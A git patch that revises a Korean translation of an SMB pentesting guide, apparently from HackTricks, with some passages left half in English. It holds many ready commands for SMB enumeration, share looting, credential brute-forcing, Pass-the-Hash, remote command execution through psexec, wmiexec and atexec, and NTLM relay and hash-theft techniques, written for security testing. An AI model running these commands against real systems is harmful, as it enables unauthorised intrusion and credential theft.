From f8878aa9b60f7dbd33eface087a20404ec7ae3e3 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 06:22:12 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-smb/ksmbd-attack --- src/SUMMARY.md | 1 + .../pentesting-smb/README.md | 186 ++++++++------- ...bd-attack-surface-and-fuzzing-syzkaller.md | 219 ++++++++++++++++++ 3 files changed, 317 insertions(+), 89 deletions(-) create mode 100644 src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 793c88a81..b18b11ccd 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -494,6 +494,7 @@ - [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md) - [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md) - [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md) + - [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md) - [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md) - [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md) - [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index e50818be8..71d644483 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -2,45 +2,46 @@ {{#include ../../banners/hacktricks-training.md}} -## **Port 139** +## **포트 139** -_**네트워크 기본 입출력 시스템**_** (NetBIOS)**는 로컬 영역 네트워크(LAN) 내의 애플리케이션, PC 및 데스크탑이 네트워크 하드웨어와 상호 작용하고 **네트워크를 통한 데이터 전송을 용이하게 하기 위해 설계된 소프트웨어 프로토콜**입니다. NetBIOS 네트워크에서 작동하는 소프트웨어 애플리케이션의 식별 및 위치는 최대 16자 길이의 NetBIOS 이름을 통해 이루어지며, 이는 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트 역할)이 **TCP 포트 139**를 사용하여 다른 애플리케이션(서버 역할)을 "호출"하는 명령을 발행할 때 시작됩니다. +_**Network Basic Input Output System**_** (NetBIOS)** 은 로컬 영역 네트워크(LAN) 내의 애플리케이션, PC 및 데스크톱이 네트워크 하드웨어와 상호작용하고 **네트워크 상에서의 데이터 전송을 용이하게 합니다**. NetBIOS 네트워크에서 동작하는 소프트웨어 애플리케이션의 식별 및 위치 확인은 이들의 NetBIOS 이름을 통해 이루어지며, 이 이름은 최대 16자까지 가능하고 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트로 동작)이 다른 애플리케이션(서버로 동작)에 "call" 명령을 발행하여 **TCP Port 139** 를 이용할 때 시작됩니다. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -기술적으로, 포트 139는 ‘NBT over IP’로 언급되며, 포트 445는 ‘SMB over IP’로 식별됩니다. 약어 **SMB**는 ‘**Server Message Blocks**’를 의미하며, 현대적으로는 **Common Internet File System (CIFS)**로 알려져 있습니다. 애플리케이션 계층 네트워크 프로토콜로서, SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고, 네트워크의 노드 간 다양한 형태의 통신을 촉진하는 데 사용됩니다. +기술적으로 Port 139은 ‘NBT over IP’로 불리고, 반면 Port 445는 ‘SMB over IP’로 식별됩니다. 약어 **SMB**는 ‘**Server Message Blocks**’를 뜻하며, 현대에는 **Common Internet File System (CIFS)**로도 알려져 있습니다. 애플리케이션 계층의 네트워크 프로토콜인 SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고 네트워크 상의 노드들 간의 다양한 형태의 통신을 촉진하는 데 사용됩니다. -예를 들어, Windows의 맥락에서 SMB는 TCP/IP를 통해 직접 작동할 수 있으며, 포트 445를 사용하여 TCP/IP를 통한 NetBIOS의 필요성을 제거합니다. 반대로, 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 TCP/IP를 통한 NetBIOS와 함께 실행되고 있음을 나타냅니다. +예를 들어 Windows 환경에서는 SMB가 port 445를 통해 NetBIOS over TCP/IP 없이 직접 TCP/IP 위에서 동작할 수 있음이 강조됩니다. 반대로 다른 시스템에서는 port 139를 사용하는 경우가 관찰되며, 이는 SMB가 NetBIOS over TCP/IP와 함께 실행되고 있음을 나타냅니다. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -**서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델에서 작동하며, **파일**, 디렉토리 및 프린터와 라우터와 같은 기타 네트워크 리소스에 대한 **접근**을 규제하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈 내에서 사용되며, SMB는 하위 호환성을 보장하여 Microsoft의 최신 운영 체제를 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한, **Samba** 프로젝트는 SMB를 **Linux** 및 Unix 시스템에서 구현할 수 있는 무료 소프트웨어 솔루션을 제공하여 SMB를 통한 크로스 플랫폼 통신을 촉진합니다. +The **Server Message Block (SMB)** 프로토콜은 **client-server** 모델로 동작하며 **access to files**, 디렉터리 및 프린터나 라우터와 같은 다른 네트워크 자원에 대한 접근을 규제하도록 설계되어 있습니다. 주로 **Windows** 계열 운영체제에서 사용되며, SMB는 하위 호환성을 제공하여 최신 버전의 Microsoft 운영체제를 사용하는 장치가 구버전 운영체제를 실행하는 장치와 원활하게 상호작용할 수 있게 합니다. 또한 **Samba** 프로젝트는 무료 소프트웨어 솔루션을 제공하여 **Linux** 및 **Unix** 시스템에서 SMB를 구현할 수 있게 하며, 이를 통해 플랫폼 간 SMB 통신이 가능합니다. -SMB 서버는 **로컬 파일 시스템의 임의 부분**을 나타내는 공유를 제공할 수 있으며, 클라이언트에게 서버의 실제 구조와 부분적으로 **독립적인** 계층을 보여줍니다. **접근 제어 목록 (ACLs)**은 **접근 권한**을 정의하며, **`execute`**, **`read`**, **`full access`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 다릅니다. +Shares는 **arbitrary parts of the local file system**를 나타내며 SMB 서버가 이를 제공할 수 있어 클라이언트에 표시되는 계층 구조가 서버의 실제 구조와 일부 **independent**할 수 있습니다. **Access Control Lists (ACLs)**는 **access rights**를 정의하며 사용자 권한을 **fine-grained control**로 세밀하게 제어할 수 있게 해주며, 여기에는 **`execute`**, **`read`**, **`full access`** 같은 속성이 포함됩니다. 이러한 권한은 Shares를 기준으로 개별 사용자 또는 그룹에 할당될 수 있으며 서버에 설정된 로컬 권한과는 별개입니다. ### IPC$ Share -IPC$ 공유에 대한 접근은 익명 널 세션을 통해 얻을 수 있으며, 명명된 파이프를 통해 노출된 서비스와 상호 작용할 수 있습니다. 이 목적을 위해 `enum4linux` 유틸리티가 유용합니다. 적절히 사용하면 다음을 획득할 수 있습니다: +IPC$ share에 대한 접근은 익명 null session을 통해 얻을 수 있으며, 이를 통해 named pipes로 노출된 서비스와 상호작용할 수 있습니다. 이 목적에는 유틸리티 `enum4linux`가 유용합니다. 적절히 사용하면 다음을 획득할 수 있습니다: - 운영 체제에 대한 정보 - 상위 도메인에 대한 세부 정보 -- 로컬 사용자 및 그룹의 목록 -- 사용 가능한 SMB 공유에 대한 정보 -- 효과적인 시스템 보안 정책 +- 로컬 사용자 및 그룹 목록 +- 사용 가능한 SMB shares에 대한 정보 +- 적용 중인 시스템 보안 정책 -이 기능은 네트워크 관리자가 SMB (서버 메시지 블록) 서비스의 보안 상태를 평가하는 데 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경에 대한 포괄적인 뷰를 제공하며, 이는 잠재적인 취약점을 식별하고 SMB 서비스가 적절하게 보호되고 있는지 확인하는 데 필수적입니다. +이 기능은 네트워크 관리자와 보안 전문가가 네트워크상의 SMB (Server Message Block) 서비스의 보안 상태를 평가하는 데 매우 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경을 포괄적으로 보여주어 잠재적 취약점을 식별하고 SMB 서비스가 적절히 보호되고 있는지 확인하는 데 필수적입니다. ```bash enum4linux -a target_ip ``` -위의 명령은 `enum4linux`가 `target_ip`로 지정된 대상을 대상으로 전체 열거를 수행하는 방법의 예입니다. +위 명령은 `enum4linux`가 `target_ip`로 지정된 대상에 대해 전체 열거를 수행하는 방법의 예시입니다. -## NTLM이란 +## NTLM이란 무엇인가 + +NTLM이 무엇인지 모르거나 작동 방식과 악용 방법을 알고 싶다면, **NTLM**에 관한 다음 페이지가 매우 흥미로울 것이며 이 프로토콜이 어떻게 동작하는지와 이를 어떻게 활용할 수 있는지가 설명되어 있습니다: -NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게 악용할 수 있는지 알고 싶다면, **NTLM**에 대한 이 페이지가 매우 흥미로울 것입니다. 여기에서는 **이 프로토콜이 어떻게 작동하는지와 이를 어떻게 활용할 수 있는지**에 대해 설명합니다: {{#ref}} ../../windows-hardening/ntlm/ @@ -48,15 +49,15 @@ NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게 ## **서버 열거** -### **호스트**를 검색하여 네트워크 스캔: +### **Scan** 네트워크에서 호스트를 검색: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMB 서버 버전 -SMB 버전의 가능한 취약점을 찾으려면 어떤 버전이 사용되고 있는지 아는 것이 중요합니다. 이 정보가 다른 사용된 도구에 나타나지 않는 경우, 다음을 사용할 수 있습니다: +SMB 버전의 가능한 exploit을 찾으려면 사용 중인 버전을 아는 것이 중요합니다. 이 정보가 다른 도구에 나타나지 않는다면, 다음을 사용할 수 있습니다: -- **MSF** 보조 모듈 `**auxiliary/scanner/smb/smb_version**` +- Use the **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` - 또는 이 스크립트: ```bash #!/bin/sh @@ -74,14 +75,14 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **검색 취약점** +### **검색 exploit** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **가능한** 자격 증명 -| **사용자 이름** | **일반 비밀번호** | +| **사용자명(들)** | **일반 비밀번호** | | -------------------- | ----------------------------------------- | | _(빈칸)_ | _(빈칸)_ | | guest | _(빈칸)_ | @@ -91,13 +92,13 @@ searchsploit microsoft smb | backupexec, backup | backupexec, backup, arcada | | test, lab, demo | password, test, lab, demo | -### 무차별 대입 공격 +### Brute Force -- [**SMB 무차별 대입 공격**](../../generic-hacking/brute-force.md#smb) +- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) ### SMB 환경 정보 -### 정보 획득 +### 정보 수집 ```bash #Dump interesting information enum4linux -a [-u "" -p ""] @@ -121,7 +122,7 @@ rpcclient -U "username%passwd" #With creds ``` ### 사용자, 그룹 및 로그인한 사용자 열거 -이 정보는 이미 enum4linux 및 enum4linux-ng에서 수집되어야 합니다. +이 정보는 enum4linux 및 enum4linux-ng에서 이미 수집되었을 것입니다. ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -133,7 +134,7 @@ rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` -### 로컬 사용자 나열 +### 로컬 사용자 열거 [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash @@ -149,14 +150,14 @@ use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **LSARPC 및 SAMR rpcclient 열거하기** +### **LSARPC 및 SAMR rpcclient 열거** {{#ref}} rpcclient-enumeration.md {{#endref}} -### 리눅스에서 GUI 연결 +### GUI 연결 (linux에서) #### 터미널에서: @@ -166,11 +167,11 @@ rpcclient-enumeration.md `smb://friendzone.htb/general/` -## 공유 폴더 열거하기 +## 공유 폴더 열거 ### 공유 폴더 목록 -항상 접근할 수 있는지 확인하는 것이 좋습니다. 자격 증명이 없는 경우 **null** **자격 증명/게스트 사용자**를 사용해 보십시오. +항상 접근 가능한 항목이 있는지 확인하는 것이 좋습니다. credentials가 없다면 **null** **credentials/guest user**를 사용해 보세요. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -196,11 +197,12 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **수동으로 윈도우 공유를 열거하고 연결하기** +### **수동으로 windows 공유를 열거하고 연결하기** -호스트 머신의 공유를 표시하는 데 제한이 있을 수 있으며, 이를 나열하려고 할 때 연결할 수 있는 공유가 없는 것처럼 보일 수 있습니다. 따라서 공유에 수동으로 연결해 보려는 시도가 가치가 있을 수 있습니다. 공유를 수동으로 열거하려면 유효한 세션(예: null 세션 또는 유효한 자격 증명)을 사용할 때 NT_STATUS_ACCESS_DENIED 및 NT_STATUS_BAD_NETWORK_NAME와 같은 응답을 찾아보는 것이 좋습니다. 이는 공유가 존재하지만 접근할 수 없거나 공유가 전혀 존재하지 않음을 나타낼 수 있습니다. +호스트 머신의 공유 조회가 제한되어 있어 목록을 시도할 때 연결 가능한 공유가 전혀 없는 것처럼 보일 수 있습니다. 따라서 수동으로 공유에 연결을 시도해보는 것이 좋습니다. +공유를 수동으로 열거하려면 유효한 세션(예: null session 또는 유효한 자격 증명)을 사용할 때 NT_STATUS_ACCESS_DENIED나 NT_STATUS_BAD_NETWORK_NAME 같은 응답을 확인해보세요. 이러한 응답은 해당 공유가 존재하지만 접근 권한이 없음을 나타내거나, 공유 자체가 존재하지 않음을 나타낼 수 있습니다. -윈도우 타겟의 일반적인 공유 이름은 다음과 같습니다. +windows 대상에서 흔한 공유 이름은 다음과 같습니다 - C$ - D$ @@ -211,14 +213,14 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t - SYSVOL - NETLOGON -(_**Network Security Assessment 3rd edition**_의 일반적인 공유 이름) +(일반적인 공유 이름 — _**Network Security Assessment 3rd edition**_에서 발췌) -다음 명령어를 사용하여 이들에 연결해 볼 수 있습니다. +다음 명령을 사용해 해당 공유에 연결을 시도할 수 있습니다 ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -이 스크립트(널 세션 사용) +또는 이 스크립트 (null session을 사용하여) ```bash #/bin/bash @@ -240,7 +242,7 @@ done smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Windows에서 공유를 나열하기 / 서드파티 도구 없이** +### **Windows에서 shares 열거하기 / 서드파티 도구 없이** PowerShell ```bash @@ -259,14 +261,14 @@ net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC 스냅인 (그래픽) +MMC Snap-in (그래픽 인터페이스) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (그래픽), `\\\`를 입력하여 사용 가능한 비공유 폴더를 확인합니다. +explorer.exe (그래픽 인터페이스)에서 `\\\` 를 입력하면 사용 가능한 숨김이 아닌 공유를 볼 수 있습니다. ### 공유 폴더 마운트 ```bash @@ -275,7 +277,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **파일 다운로드** -자격 증명/Pass-the-Hash로 연결하는 방법을 배우려면 이전 섹션을 읽으십시오. +이전 섹션을 읽어 credentials/Pass-the-Hash로 연결하는 방법을 배우세요. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -292,12 +294,12 @@ smbclient /// ``` 명령어: -- mask: 디렉토리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: ""는 모든 파일) -- recurse: 재귀를 켭니다 (기본값: 꺼짐) -- prompt: 파일 이름에 대한 프롬프트를 끕니다 (기본값: 켜짐) -- mget: 호스트에서 클라이언트 머신으로 마스크와 일치하는 모든 파일을 복사합니다 +- mask: 디렉터리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: "" 는 모든 파일) +- recurse: 재귀 검색을 켜거나 끕니다 (기본값: 꺼짐) +- prompt: 파일명에 대한 프롬프트를 비활성화합니다 (기본값: 켜짐) +- mget: 마스크와 일치하는 모든 파일을 호스트에서 클라이언트로 복사합니다 -(_smbclient의 매뉴얼 페이지에서 정보_) +(_smbclient의 manpage에서 가져온 정보_) ### 도메인 공유 폴더 검색 @@ -305,21 +307,21 @@ smbclient /// ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 스파이더. +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. - `-M spider_plus [--share ]` - `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -특히 흥미로운 공유 파일은 **`Registry.xml`**로, 이는 **autologon**으로 구성된 사용자에 대한 비밀번호를 포함할 수 있습니다. 또는 **`web.config`** 파일은 자격 증명을 포함하고 있습니다. +Specially interesting from shares are the files called **`Registry.xml`** as they **passwords를 포함하고 있을 수 있습니다** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains **credentials**. > [!TIP] -> **SYSVOL 공유**는 도메인 내 모든 인증된 사용자가 **읽을 수 있습니다**. 그 안에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 있을 수 있습니다.\ -> 그 안의 **스크립트**를 **확인**해야 하며, **비밀번호**와 같은 민감한 정보를 **찾을 수** 있습니다. +> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\ +> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. ## 레지스트리 읽기 -발견된 자격 증명을 사용하여 **레지스트리**를 **읽을 수** 있습니다. Impacket **`reg.py`**를 사용하여 시도할 수 있습니다: +You may be able to **레지스트리 읽기** using some discovered **credentials**. Impacket **`reg.py`** allows you to try: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -327,26 +329,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -**Samba** 서버의 **기본 구성**은 일반적으로 `/etc/samba/smb.conf`에 위치하며, 몇 가지 **위험한 구성**이 있을 수 있습니다: +**기본 설정 파일**은 **Samba** 서버에서 보통 `/etc/samba/smb.conf`에 위치하며 몇 가지 **위험한 설정**이 있을 수 있습니다: -| **설정** | **설명** | -| --------------------------- | --------------------------------------------------------------- | -| `browseable = yes` | 현재 공유에서 사용 가능한 공유 목록을 허용합니까? | -| `read only = no` | 파일의 생성 및 수정을 금지합니까? | -| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있도록 허용합니까? | -| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있도록 허용합니까? | -| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? | -| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 할당되어야 합니까? | -| `directory mask = 0777` | 새로 생성된 디렉토리에 어떤 권한이 할당되어야 합니까? | -| `logon script = script.sh` | 사용자의 로그인 시 실행해야 하는 스크립트는 무엇입니까? | -| `magic script = script.sh` | 스크립트가 종료될 때 실행해야 하는 스크립트는 무엇입니까? | -| `magic output = script.out` | 마법 스크립트의 출력이 저장되어야 하는 위치는 어디입니까? | +| **설정** | **설명** | +| --------------------------- | ------------------------------------------------------------------- | +| `browseable = yes` | 현재 서버에서 사용 가능한 공유를 나열할 수 있게 허용합니까? | +| `read only = no` | 파일 생성 및 수정을 금지합니까? | +| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있게 허용합니까? | +| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있게 허용합니까? | +| `enable privileges = yes` | 특정 SID에 할당된 권한을 적용합니까? | +| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 부여되어야 합니까? | +| `directory mask = 0777` | 새로 생성된 디렉터리에 어떤 권한이 부여되어야 합니까? | +| `logon script = script.sh` | 사용자 로그인 시 어떤 스크립트가 실행되어야 합니까? | +| `magic script = script.sh` | 스크립트가 종료될 때 어떤 스크립트를 실행해야 합니까? | +| `magic output = script.out` | magic script의 출력은 어디에 저장되어야 합니까? | -`smbstatus` 명령은 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다. +명령어 `smbstatus`는 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다. -## Authenticate using Kerberos +## Kerberos를 사용한 인증 -**smbclient** 및 **rpcclient** 도구를 사용하여 **kerberos**에 **인증**할 수 있습니다: +도구 **smbclient**와 **rpcclient**를 사용하여 **Kerberos**에 **인증**할 수 있습니다: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -355,7 +357,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec는 **wmiexec**가 **기본** 방법인 **mmcexec, smbexec, atexec, wmiexec**를 **악용하여** 명령을 실행할 수 있습니다. 사용할 옵션을 `--exec-method` 매개변수로 지정할 수 있습니다: +crackmapexec는 **mmcexec, smbexec, atexec, wmiexec** 중 어느 것을 **악용하여** 명령을 실행할 수 있으며, **기본** 방법은 **wmiexec**입니다. 사용할 옵션은 `--exec-method` 파라미터로 지정할 수 있습니다: ```bash apt-get install crackmapexec @@ -379,9 +381,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -두 옵션 모두 **새 서비스를 생성**합니다 (_\pipe\svcctl_을 사용하여 SMB를 통해) 피해자 머신에서 이를 사용하여 **무언가를 실행**합니다 (**psexec**는 **실행 파일을 ADMIN$ 공유에 업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**파일 없는 기법-**-).\ -**자세한 정보**는 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)와 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)를 참조하십시오.\ -**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다. +두 옵션 모두 대상 시스템에 **새 서비스를 생성**(SMB를 통해 _\pipe\svcctl_ 사용)하고 이를 이용해 **무언가를 실행**합니다 (**psexec**는 실행 파일을 ADMIN$ 공유에 **upload**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수(arguments)에 payload를 넣습니다 --**file-less technique**--).\ +**자세한 정보**: [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) 및 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다. ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -393,15 +395,15 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -디스크를 건드리거나 새로운 서비스를 실행하지 않고 **포트 135**를 통해 DCOM을 사용하여 명령 셸을 은밀하게 실행합니다.\ -**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다. +디스크를 건드리거나 새로운 서비스를 실행하지 않고 DCOM을 통해 **port 135.**로 은밀하게 명령 셸을 실행합니다.\ +**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다. ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -**매개변수**`-k`를 사용하면 **NTLM** 대신 **kerberos**에 대해 인증할 수 있습니다. +**parameter**`-k`를 사용하면 **NTLM** 대신 **kerberos**로 인증할 수 있습니다. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -410,54 +412,60 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -SMB를 통해 Task Scheduler를 통해 명령을 실행합니다 (_\pipe\atsvc_ 사용).\ -**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다. +작업 스케줄러를 통해 명령을 실행합니다 (SMB를 통해 _\pipe\atsvc_ 사용).\ +**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다. ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` -## Impacket reference +## Impacket 참고 [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **사용자 자격 증명 무차별 대입** +### ksmbd 공격 표면 및 SMB2/SMB3 protocol fuzzing (syzkaller) -**이것은 권장되지 않으며, 최대 허용 시도를 초과하면 계정이 차단될 수 있습니다** +{{#ref}} +ksmbd-attack-surface-and-fuzzing-syzkaller.md +{{#endref}} + +## **Bruteforce users credentials** + +**권장하지 않습니다. 최대 허용 시도를 초과하면 계정이 차단될 수 있습니다.** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` -## SMB 릴레이 공격 +## SMB relay attack -이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **중계**합니다. 인증 **세션이 성공적**이면 자동으로 **시스템** **셸**로 진입하게 됩니다.\ -[**이 공격에 대한 더 많은 정보는 여기에서 확인하세요.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +이 공격은 Responder 툴킷을 사용해 내부 네트워크에서 **SMB authentication sessions**을 캡처하고, 이를 **target machine**으로 **relays**합니다. 인증 **session**이 성공하면 자동으로 **system** **shell**로 진입합니다.\ +[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐츠에 접근하려고 할 때 자동으로 호스트에 인증을 시도합니다. 예: `img src="\\10.10.10.10\path\image.jpg"` +Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 콘텐츠에 접근하려 할 때 자동으로 호스트에 인증을 시도합니다. 예: `img src="\\10.10.10.10\path\image.jpg"` -이는 다음 함수에서 발생합니다: +이 동작은 다음 함수들에서 발생합니다: - URLDownloadToFile - URLDownloadToCache - URLOpenStream - URLOpenBlockingStream -일부 브라우저와 도구(예: Skype)에서 사용됩니다. +이는 일부 브라우저 및 도구(예: Skype)에서 사용됩니다. -![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) -### MitMf를 이용한 SMBTrap +### SMBTrap using MitMf -![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) -## NTLM 도난 +## NTLM Theft -SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심으면(SMB를 통해 예를 들어) SMB 인증 시도가 발생할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](#smb-relay-attack)에 사용될 수 있습니다. +SMB Trapping과 유사하게, target system에 악성 파일을 심는 것(예: SMB를 통해)은 SMB 인증 시도를 유발할 수 있으며, Responder와 같은 도구로 NetNTLMv2 해시를 가로챌 수 있습니다. 그 해시는 오프라인에서 크랙하거나 [SMB relay attack](#smb-relay-attack)에 사용할 수 있습니다. -[참조: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## HackTricks 자동 명령 +## HackTricks Automatic Commands ``` 